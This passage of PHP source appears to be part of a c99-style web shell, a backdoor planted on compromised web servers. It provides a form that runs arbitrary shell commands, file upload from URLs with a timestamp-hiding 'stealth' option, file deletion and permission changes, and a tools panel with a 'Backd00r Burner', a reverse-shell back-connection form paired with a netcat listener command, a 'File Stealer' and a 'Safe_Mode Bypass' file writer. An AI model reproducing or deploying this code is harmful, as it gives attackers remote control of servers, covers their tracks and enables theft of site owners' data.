  1985.  else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
  1986. }
  1987. if ($act == "search")
  1988. {
  1989.  echo "<b>Search in file-system:</b><br>";
  1990.  if (empty($search_in)) {$search_in = $d;}
  1991.  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  1992.  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  1993.  if (!empty($submit))
  1994.  {
  1995.   $found = array();
  1996.   $found_d = 0;
  1997.   $found_f = 0;
  1998.   $search_i_f = 0;
  1999.   $search_i_d = 0;
  2000.   $a = array
  2001.   (
  2002.    "name"=>$search_name, "name_regexp"=>$search_name_regexp,
  2003.    "text"=>$search_text, "text_regexp"=>$search_text_regxp,
  2004.    "text_wwo"=>$search_text_wwo,
  2005.    "text_cs"=>$search_text_cs,
  2006.    "text_not"=>$search_text_not
  2007.   );
  2008.   $searchtime = getmicrotime();
  2009.   $in = array_unique(explode(";",$search_in));
  2010.   foreach($in as $v) {c99fsearch($v);}
  2011.   $searchtime = round(getmicrotime()-$searchtime,4);
  2012.   if (count($found) == 0) {echo "<b>No files found!</b>";}
  2013.   else
  2014.   {
  2015.    $ls_arr = $found;
  2016.    $disp_fullpath = TRUE;
  2017.    $act = "ls";
  2018.   }
  2019.  }
  2020.  echo "<form method=POST>
  2021. <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
  2022. <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
  2023. <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
  2024. <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
  2025. <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
  2026. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
  2027. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
  2028. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
  2029. <br><br><input type=submit name=submit value=\"Search\"></form>";
  2030.  if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
  2031. }
  2032. if ($act == "chmod")
  2033. {
  2034.  $mode = fileperms($d.$f);
  2035.  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  2036.  else
  2037.  {
  2038.   $form = TRUE;
  2039.   if ($chmod_submit)
  2040.   {
  2041.    $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  2042.    if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
  2043.    else {$err = "Can't chmod to ".$octet.".";}
  2044.   }
  2045.   if ($form)
  2046.   {
  2047.    $perms = parse_perms($mode);
  2048.    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  2049.   }
  2050.  }
  2051. }
  2052. if ($act == "upload")
  2053. {
  2054.  $uploadmess = "";
  2055.  $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  2056.  if (empty($uploadpath)) {$uploadpath = $d;}
  2057.  elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
  2058.  if (!empty($submit))
  2059.  {
  2060.   global $HTTP_POST_FILES;
  2061.   $uploadfile = $HTTP_POST_FILES["uploadfile"];
  2062.   if (!empty($uploadfile["tmp_name"]))
  2063.   {
  2064.    if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  2065.    else {$destin = $userfilename;}
  2066.    if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
  2067.   }
  2068.   elseif (!empty($uploadurl))
  2069.   {
  2070.    if (!empty($uploadfilename)) {$destin = $uploadfilename;}
  2071.    else
  2072.    {
  2073.     $destin = explode("/",$destin);
  2074.     $destin = $destin[count($destin)-1];
  2075.     if (empty($destin))
  2076.     {
  2077.      $i = 0;
  2078.      $b = "";
  2079.      while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
  2080.    }
  2081.    if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
  2082.    else
  2083.    {
  2084.     $st = getmicrotime();
  2085.     $content = @file_get_contents($uploadurl);
  2086.     $dt = round(getmicrotime()-$st,4);
  2087.     if (!$content) {$uploadmess .=  "Can't download file!<br>";}
  2088.     else
  2089.     {
  2090.      if ($filestealth) {$stat = stat($uploadpath.$destin);}
  2091.      $fp = fopen($uploadpath.$destin,"w");
  2092.      if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
  2093.      else
  2094.      {
  2095.       fwrite($fp,$content,strlen($content));
  2096.       fclose($fp);
  2097.       if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
  2098.      }
  2099.     }
  2100.    }
  2101.   }
  2102.  }
  2103.  if ($miniform)
  2104.  {
  2105.   echo "<b>".$uploadmess."</b>";
  2106.   $act = "ls";
  2107.  }
  2108.  else
  2109.  {
  2110.   echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>
  2111. Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
  2112. Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
  2113. Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
  2114. File-name (auto-fill): <input name=uploadfilename size=25><br><br>
  2115. <input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
  2116. <input type=submit name=submit value=\"Upload\">
  2117. </form>";
  2118.  }
  2119. }
  2120. if ($act == "delete")
  2121. {
  2122.  $delerr = "";
  2123.  foreach ($actbox as $v)
  2124.  {
  2125.   $result = FALSE;
  2126.   $result = fs_rmobj($v);
  2127.   if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  2128.  }
  2129.  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  2130.  $act = "ls";
  2131. }
  2132. if (!$usefsbuff)
  2133. {
  2134.  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
  2135. }
  2136. else
  2137. {
  2138.  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
  2139.  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
  2140.  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
  2141.  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
  2142.  elseif ($actpastebuff)
  2143.  {
  2144.   $psterr = "";
  2145.   foreach($sess_data["copy"] as $k=>$v)
  2146.   {
  2147.    $to = $d.basename($v);
  2148.    if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  2149.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  2150.   }
  2151.   foreach($sess_data["cut"] as $k=>$v)
  2152.   {
  2153.    $to = $d.basename($v);
  2154.    if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  2155.    unset($sess_data["cut"][$k]);
  2156.   }
  2157.   c99_sess_put($sess_data);
  2158.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  2159.   $act = "ls";
  2160.  }
  2161.  elseif ($actarcbuff)
  2162.  {
  2163.   $arcerr = "";
  2164.   if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  2165.   else {$ext = ".tar.gz";}
  2166.   if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  2167.   $cmdline .= " ".$actarcbuff_path;
  2168.   $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  2169.   foreach($objects as $v)
  2170.   {
  2171.    $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  2172.    if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  2173.    if (is_dir($v))
  2174.    {
  2175.     if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  2176.     $v .= "*";
  2177.    }
  2178.    $cmdline .= " ".$v;
  2179.   }
  2180.   $tmp = realpath(".");
  2181.   chdir($d);
  2182.   $ret = myshellexec($cmdline);
  2183.   chdir($tmp);
  2184.   if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  2185.   $ret = str_replace("\r\n","\n",$ret);
  2186.   $ret = explode("\n",$ret);
  2187.   if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  2188.   foreach($sess_data["cut"] as $k=>$v)
  2189.   {
  2190.    if (in_array($v,$ret)) {fs_rmobj($v);}
  2191.    unset($sess_data["cut"][$k]);
  2192.   }
  2193.   c99_sess_put($sess_data);
  2194.   if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  2195.   $act = "ls";
  2196.  }
  2197.  elseif ($actpastebuff)
  2198.  {
  2199.   $psterr = "";
  2200.   foreach($sess_data["copy"] as $k=>$v)
  2201.   {
  2202.    $to = $d.basename($v);
  2203.    if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  2204.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  2205.   }
  2206.   foreach($sess_data["cut"] as $k=>$v)
  2207.   {
  2208.    $to = $d.basename($v);
  2209.    if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  2210.    unset($sess_data["cut"][$k]);
  2211.   }
  2212.   c99_sess_put($sess_data);
  2213.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  2214.   $act = "ls";
  2215.  }
  2216. }
  2217. if ($act == "cmd")
  2218. {
  2219. if (trim($cmd) == "ps -aux") {$act = "processes";}
  2220. elseif (trim($cmd) == "tasklist") {$act = "processes";}
  2221. else
  2222. {
  2223.  @chdir($chdir);
  2224.  if (!empty($submit))
  2225.  {
  2226.   echo "<b>Result of execution this command</b>:<br>";
  2227.   $olddir = realpath(".");
  2228.   @chdir($d);
  2229.   $ret = myshellexec($cmd);
  2230.   $ret = convert_cyr_string($ret,"d","w");
  2231.   if ($cmd_txt)
  2232.   {
  2233.    $rows = count(explode("\r\n",$ret))+1;
  2234.    if ($rows < 10) {$rows = 10;}
  2235.    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  2236.   }
  2237.   else {echo $ret."<br>";}
  2238.   @chdir($olddir);
  2239.  }
  2240.  else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
  2241.  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
  2242. }
  2243. }
  2244. if ($act == "ls")
  2245. {
  2246.  if (count($ls_arr) > 0) {$list = $ls_arr;}
  2247.  else
  2248.  {
  2249.   $list = array();
  2250.   if ($h = @opendir($d))
  2251.   {
  2252.    while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  2253.    closedir($h);
  2254.   }
  2255.   else {}
  2256.  }
  2257.  if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
  2258.  else
  2259.  {
  2260.   //Building array
  2261.   $objects = array();
  2262.   $vd = "f"; //Viewing mode
  2263.   if ($vd == "f")
  2264.   {
  2265.    $objects["head"] = array();
  2266.    $objects["folders"] = array();
  2267.    $objects["links"] = array();
  2268.    $objects["files"] = array();
  2269.    foreach ($list as $v)
  2270.    {
  2271.     $o = basename($v);
  2272.     $row = array();
  2273.     if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
  2274.     elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
  2275.     elseif (is_dir($v))
  2276.     {
  2277.      if (is_link($v)) {$type = "LINK";}
  2278.      else {$type = "DIR";}
  2279.      $row[] = $v;
  2280.      $row[] = $type;
  2281.     }
  2282.     elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  2283.     $row[] = filemtime($v);
  2284.     if (!$win)
  2285.     {
  2286.      $ow = posix_getpwuid(fileowner($v));
  2287.      $gr = posix_getgrgid(filegroup($v));
  2288.      $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
  2289.     }
  2290.     $row[] = fileperms($v);
  2291.     if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  2292.     elseif (is_link($v)) {$objects["links"][] = $row;}
  2293.     elseif (is_dir($v)) {$objects["folders"][] = $row;}
  2294.     elseif (is_file($v)) {$objects["files"][] = $row;}
  2295.     $i++;
  2296.    }
  2297.    $row = array();
  2298.    $row[] = "<b>Name</b>";
  2299.    $row[] = "<b>Size</b>";
  2300.    $row[] = "<b>Modify</b>";
  2301.    if (!$win)
  2302.   {$row[] = "<b>Owner/Group</b>";}
  2303.    $row[] = "<b>Perms</b>";
  2304.    $row[] = "<b>Action</b>";
  2305.    $parsesort = parsesort($sort);
  2306.    $sort = $parsesort[0].$parsesort[1];
  2307.    $k = $parsesort[0];
  2308.    if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  2309.    $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
  2310.    $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  2311.    $row[$k] .= $y;
  2312.    for($i=0;$i<count($row)-1;$i++)
  2313.    {
  2314.     if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
  2315.    }
  2316.    $v = $parsesort[0];
  2317.    usort($objects["folders"], "tabsort");
  2318.    usort($objects["links"], "tabsort");
  2319.    usort($objects["files"], "tabsort");
  2320.    if ($parsesort[1] == "d")
  2321.    {
  2322.     $objects["folders"] = array_reverse($objects["folders"]);
  2323.     $objects["files"] = array_reverse($objects["files"]);
  2324.    }
  2325.    $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  2326.    $tab = array();
  2327.    $tab["cols"] = array($row);
  2328.    $tab["head"] = array();
  2329.    $tab["folders"] = array();
  2330.    $tab["links"] = array();
  2331.    $tab["files"] = array();
  2332.    $i = 0;
  2333.    foreach ($objects as $a)
  2334.    {
  2335.     $v = $a[0];
  2336.     $o = basename($v);
  2337.     $dir = dirname($v);
  2338.     if ($disp_fullpath) {$disppath = $v;}
  2339.     else {$disppath = $o;}
  2340.     $disppath = str2mini($disppath,60);
  2341.     if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  2342.     elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  2343.     foreach ($regxp_highlight as $r)
  2344.     {
  2345.      if (ereg($r[0],$o))
  2346.      {
  2347.       if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
  2348.       else
  2349.       {
  2350.        $r[1] = round($r[1]);
  2351.        $isdir = is_dir($v);
  2352.        if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
  2353.        {
  2354.         if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  2355.         $disppath = $r[2].$disppath.$r[3];
  2356.         if ($r[4]) {break;}
  2357.        }
  2358.       }
  2359.      }
  2360.     }
  2361.     $uo = urlencode($o);
  2362.     $ud = urlencode($dir);
  2363.     $uv = urlencode($v);
  2364.     $row = array();
  2365.     if ($o == ".")
  2366.     {
  2367.      $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  2368.      $row[] = "LINK";
  2369.     }
  2370.     elseif ($o == "..")
  2371.     {
  2372.      $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  2373.      $row[] = "LINK";
  2374.     }
  2375.     elseif (is_dir($v))
  2376.     {
  2377.      if (is_link($v))
  2378.      {
  2379.       $disppath .= " => ".readlink($v);
  2380.       $type = "LINK";
  2381.       $row[] =  "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  2382.      }
  2383.      else
  2384.      {
  2385.       $type = "DIR";
  2386.       $row[] =  "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  2387.       }
  2388.      $row[] = $type;
  2389.     }
  2390.     elseif(is_file($v))
  2391.     {
  2392.      $ext = explode(".",$o);
  2393.      $c = count($ext)-1;
  2394.      $ext = $ext[$c];
  2395.      $ext = strtolower($ext);
  2396.      $row[] =  "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
  2397.      $row[] = view_size($a[1]);
  2398.     }
  2399.     $row[] = date("d.m.Y H:i:s",$a[2]);
  2400.     if (!$win) {$row[] = $a[3];}
  2401.     $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  2402.     if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  2403.     else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  2404.     if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;}
  2405.     else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;}
  2406.     if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  2407.     elseif (is_link($v)) {$tab["links"][] = $row;}
  2408.     elseif (is_dir($v)) {$tab["folders"][] = $row;}
  2409.     elseif (is_file($v)) {$tab["files"][] = $row;}
  2410.     $i++;
  2411.    }
  2412.   }
  2413.   // Compiling table
  2414.   $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  2415.   echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgcolor=#000000 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
  2416.   foreach($table as $row)
  2417.   {
  2418.    echo "<tr>\r\n";
  2419.    foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
  2420.    echo "</tr>\r\n";
  2421.   }
  2422.   echo "</table><hr size=\"1\" noshade><p align=\"right\">
  2423.   <script>
  2424.   function ls_setcheckboxall(status)
  2425.   {
  2426.    var id = 1;
  2427.    var num = ".(count($table)-2).";
  2428.    while (id <= num)
  2429.    {
  2430.     document.getElementById('actbox'+id).checked = status;
  2431.     id++;
  2432.    }
  2433.   }
  2434.   function ls_reverse_all()
  2435.   {
  2436.    var id = 1;
  2437.    var num = ".(count($table)-2).";
  2438.    while (id <= num)
  2439.    {
  2440.     document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
  2441.     id++;
  2442.    }
  2443.   }
  2444.   </script>
  2445.   <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">  
  2446.   <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  2447.   if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
  2448.   {
  2449.    echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  2450.   }
  2451.   echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  2452.   echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  2453.   echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  2454.   if ($usefsbuff)
  2455.   {
  2456.    echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
  2457.    echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
  2458.    echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
  2459.   }
  2460.   echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
  2461.   echo "</form>";
  2462.  }
  2463. }
  2464. if ($act == "tools")
  2465. {
  2466.  
  2467.  
  2468.  
  2469.  
  2470.  
  2471.  
  2472.  ?>
  2473. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>
  2474. <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Bind Functions By r57  </b></a> ::</b></p></td></tr>
  2475. <tr>
  2476.   <td width="50%" height="83" valign="top"><center>
  2477.     <div align="center">
  2478.     </div>
  2479.  <form action="<?php echo $surl; ?>">
  2480. <b>Bind With Backd00r Burner</b></br><form action="<?php echo $surl;?>"><input type=hidden name=act value=tools><select size=\"1\" name=dolma><option value="wgetcan">Use Wget</option><option value="lynxcan">Use lynx -dump</option><option value="freadcan">Use Fread</option></select></br></br><input type="submit" value="Burn it bAby"></form>
  2481.     </td>
  2482.   <td width="50%" height="83" valign="top"><center>
  2483.    <center>
  2484.  
  2485.  
  2486.    <b>Back-Connection :</b></br><form action="<?php echo $surl;?>"> <b>Ip (default is your ip) :</br> </b><input type=hidden name=act value=tools><input type="text" name="ipi" value="<?echo getenv('REMOTE_ADDR');?>"></br><b>Port:</br></b><input type="text" name="pipi" value="4392"></br><input type="submit" value="C0nnect ->"></br></form>
  2487. Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
  2488.    
  2489.    </center>
  2490.     </td>
  2491. </tr></TABLE>
  2492.  
  2493.  
  2494.  
  2495.  
  2496.  
  2497.  
  2498.  
  2499. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>
  2500. <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>File Stealer Function Ripped fRom Tontonq 's File Stealer ... </b></a> ::</b></p></td></tr>
  2501. <tr>
  2502.   <td width="50%" height="83" valign="top"><center>
  2503.     <div align="center"><b>Safe_Mode Bypass</b>
  2504.     <form action="<?php echo $surl; ?>" method="POST">
  2505.     <input type=hidden name=act value=tools>
  2506.     <textarea name="erorr" cols=100 rows=10></textarea></br>
  2507.     <input type="text" name="nere" value="<?echo "$real\index.php";?> "size=84>
  2508.     <input type="submit" value="Write 2 File !!">
  2509.    
  2510.     </form>
  2511.    
  2512.    
  2513.    
  2514.    
  2515.    
  2516.    
  2517.    
  2518.    
  2519.    
  2520.    
  2521.    
  2522.     </div>
  2523.  
  2524.     </td>
  2525.   <td width="50%" height="83" valign="top"><center>
  2526.    <center>
  2527.    <form action="<?php echo $surl; ?>" method="POST">
  2528.    <input type=hidden name=act value=tools>
